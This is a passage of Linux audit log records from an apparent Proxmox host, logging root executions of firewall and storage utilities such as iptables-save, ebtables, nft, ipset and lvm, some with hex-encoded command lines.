name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765409,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.409:62496): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc147490 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59940 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.697:65846): proctitle=\"ip6tables-save\""} {"@timestamp":1781966207237,"@rawstring":"node=pve type=PATH msg=audit(1781966207.237:68909): item=0 name=\"/usr/libexec/qemu-server/pve-bridgedown\" inode=310594 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765404,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.404:62495): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1474f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59939 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495690,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.690:65845): proctitle=\"iptables-save\""} {"@timestamp":1781966207245,"@rawstring":"node=pve type=PATH msg=audit(1781966207.245:68908): item=0 name=\"\" inode=4348 dev=00:1a mode=0100444 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765399,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.399:62494): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ec7c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59938 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.683:65844): proctitle=69707365740073617665"} {"@timestamp":1781966207242,"@rawstring":"node=pve type=PATH msg=audit(1781966207.242:68907): item=0 name=\"\" inode=733 dev=00:06 mode=060660 ouid=0 ogid=6 rdev=fc:06 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765394,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.394:62493): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60f2370 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59937 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495677,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.677:65843): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966207240,"@rawstring":"node=pve type=PATH msg=audit(1781966207.240:68906): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765390,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.390:62492): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ec7c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59936 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495666,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.666:65842): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966207240,"@rawstring":"node=pve type=PATH msg=audit(1781966207.240:68906): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.385:62491): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ca8b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.033:65841): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966207240,"@rawstring":"node=pve type=PATH msg=audit(1781966207.240:68906): item=0 name=\"/usr/lib/udev/vdev_id\" inode=263837 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.378:62490): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495002,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.002:65840): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966207232,"@rawstring":"node=pve type=PATH msg=audit(1781966207.232:68905): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765373,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.373:62489): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965493210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965493.210:65839): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966207232,"@rawstring":"node=pve type=PATH msg=audit(1781966207.232:68905): item=0 name=\"/usr/sbin/dmsetup\" inode=265309 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765369,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.369:62488): arch=c000003e syscall=59 success=yes exit=0 a0=63e9a8ef1e90 a1=63e9a8eeec10 a2=63e9a8ed0680 a3=5 items=2 ppid=59926 pid=59932 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965493210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965493.210:65838): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205799,"@rawstring":"node=pve type=PATH msg=audit(1781966205.799:68904): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765366,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.366:62487): arch=c000003e syscall=59 success=yes exit=0 a0=63e991ee5ac8 a1=7fff8c8b5580 a2=63e9a8ed0680 a3=63e991ec924e items=2 ppid=59926 pid=59928 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965493210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965493.210:65837): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205799,"@rawstring":"node=pve type=PATH msg=audit(1781966205.799:68904): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765365,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.365:62486): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8c8b5540 a1=63e9a8ed7310 a2=63e9a8ed0680 a3=5 items=2 ppid=59926 pid=59927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965493193,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965493.193:65836): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205799,"@rawstring":"node=pve type=PATH msg=audit(1781966205.799:68903): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.361:62484): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59926 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965493193,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965493.193:65835): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205799,"@rawstring":"node=pve type=PATH msg=audit(1781966205.799:68902): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765355,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.355:62483): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59925 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965493193,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965493.193:65834): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205794,"@rawstring":"node=pve type=PATH msg=audit(1781966205.794:68901): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765348,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.348:62482): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59924 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488183,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965488.183:65833): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205794,"@rawstring":"node=pve type=PATH msg=audit(1781966205.794:68901): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.344:62481): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae0d70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59923 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488183,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965488.183:65832): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205794,"@rawstring":"node=pve type=PATH msg=audit(1781966205.794:68900): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765338,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.338:62480): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1489e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59922 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488183,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965488.183:65831): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205794,"@rawstring":"node=pve type=PATH msg=audit(1781966205.794:68899): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765331,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.331:62479): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fbaf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59921 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488177,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965488.177:65830): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205782,"@rawstring":"node=pve type=PATH msg=audit(1781966205.782:68898): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964764637,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964764.637:62478): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d1170 a1=64f8d73e0690 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59920 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488177,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965488.177:65829): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205782,"@rawstring":"node=pve type=PATH msg=audit(1781966205.782:68898): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964764608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964764.608:62477): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d8d00 a1=64f8d73b93a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59919 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488177,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965488.177:65828): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205779,"@rawstring":"node=pve type=PATH msg=audit(1781966205.779:68897): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760546,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964760.546:62476): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59915 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485657,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.657:65827): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966205779,"@rawstring":"node=pve type=PATH msg=audit(1781966205.779:68897): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964760.540:62473): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59914 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485653,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.653:65826): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966205778,"@rawstring":"node=pve type=PATH msg=audit(1781966205.778:68896): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964759915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964759.915:62470): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72545a0 a1=637ee72538e0 a2=637ee7240ef0 a3=8 items=2 ppid=59910 pid=59912 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485650,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.650:65825): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966205778,"@rawstring":"node=pve type=PATH msg=audit(1781966205.778:68896): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964759915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964759.915:62469): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253920 a1=637ee7252450 a2=637ee7240ef0 a3=8 items=2 ppid=59910 pid=59911 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485650,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.650:65824): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966205778,"@rawstring":"node=pve type=PATH msg=audit(1781966205.778:68895): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964759914,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964759.914:62468): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252b20 a1=637ee7256060 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=59909 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485644,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.644:65823): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966205772,"@rawstring":"node=pve type=PATH msg=audit(1781966205.772:68894): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.533:62467): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485638,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.638:65822): proctitle=\"ip6tables-save\""} {"@timestamp":1781966205772,"@rawstring":"node=pve type=PATH msg=audit(1781966205.772:68894): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755524,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.524:62464): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59907 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485630,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.630:65821): proctitle=\"iptables-save\""} {"@timestamp":1781966205772,"@rawstring":"node=pve type=PATH msg=audit(1781966205.772:68894): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755321,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.321:62461): arch=c000003e syscall=59 success=yes exit=0 a0=633fe6bb70e0 a1=633fe6bb3e60 a2=633fe6b95680 a3=5 items=2 ppid=59900 pid=59906 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485623,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.623:65820): proctitle=\"ip6tables-save\""} {"@timestamp":1781966205765,"@rawstring":"node=pve type=PATH msg=audit(1781966205.765:68893): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755318,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.318:62460): arch=c000003e syscall=59 success=yes exit=0 a0=633fe4bd5ac8 a1=7fff8410f9f0 a2=633fe6b95680 a3=633fe4bb924e items=2 ppid=59900 pid=59902 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.614:65819): proctitle=\"iptables-save\""} {"@timestamp":1781966205765,"@rawstring":"node=pve type=PATH msg=audit(1781966205.765:68893): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755317,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.317:62459): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8410f9b0 a1=633fe6b9c310 a2=633fe6b95680 a3=5 items=2 ppid=59900 pid=59901 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485612,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.612:65818): proctitle=\"ebtables-restore\""} {"@timestamp":1781966205756,"@rawstring":"node=pve type=PATH msg=audit(1781966205.756:68892): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755313,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.313:62457): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59900 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.608:65817): proctitle=\"ebtables-restore\""} {"@timestamp":1781966205756,"@rawstring":"node=pve type=PATH msg=audit(1781966205.756:68892): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755307,"@rawstring":"node=pve type=SYSCALL 